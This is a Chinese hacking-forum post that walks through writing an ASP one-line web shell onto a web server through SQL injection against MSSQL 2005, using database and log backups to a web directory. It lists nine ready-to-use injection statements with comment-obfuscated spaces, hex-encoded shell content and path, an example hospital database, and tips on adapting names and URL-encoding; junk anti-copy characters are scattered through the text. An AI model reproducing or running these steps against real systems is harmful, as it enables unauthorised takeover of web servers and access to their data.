找回密码
 立即注册
查看: 3854|回复: 0
打印 上一主题 下一主题

mssql2005 DB权限导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:32:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。 * F" w) I0 N( L! G+ E  F
  j  i% Z& p- q  R

8 L/ h% F- ?5 v8 x0 }/ o3 ?* O后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。 7 l7 j% |& \$ b& c2 ~

2 N2 w' u! u4 f1 z7 s第一步 8 A4 r. w/ C/ O# E/ u  Z1 u
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full-- ) i5 C0 [9 o7 T7 m' U" f( d, d* U

# @- O9 S9 s# ^1 i, H1 H7 R1 }第二步: 5 `$ d( s+ n  W
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- : g0 P3 u) I; P. t

3 e5 o/ i# v; J) A% n4 p第三步 * |: n7 ^* J, w$ ^7 y6 l2 }8 Y
;drop/**/table/**/[itpro]-- 5 f, S1 i9 K' `

1 `" _! J$ F; x* E0 {2 h+ r: n% c2 w: s第四步
: G6 X+ J( }' T" M& n;create/**/table/**/[itpro]([a]/**/image)--
6 Z  }* p5 E. z& v3 E2 r
+ y) Q+ \7 {9 W第五步 6 \; d# e3 {. D8 f! I/ D4 F/ F
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
" |' _, D8 P; E& {* i2 @0 t
5 [8 a1 r. p& ?5 q8 K' R第六步
# `. I' o& b# e: N% D0 n;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
% `* U7 M- X, A& Y( F4 a8 E
/ T3 C, N; m- ^9 q第七步
% X1 o. a9 @" r2 S9 l. l;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
. Y% a) r1 {: f% } 5 C/ f, @$ V. y  ?; S! n2 v
第八步
) G: g, R2 |1 R1 ~# ~9 @;drop/**/table/**/[itpro]-- 7 Y" W' x+ @. b( v

. I9 o& Z+ A' }2 L第九步 ) j" v$ V1 k' t* j. q) X
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--   F4 P' v" o: w6 ]/ @, \3 g  N! `6 ?
" o/ g. L2 T! o! g7 f
其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。/ D- u- O4 U4 W9 v1 G  _. O7 W% ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表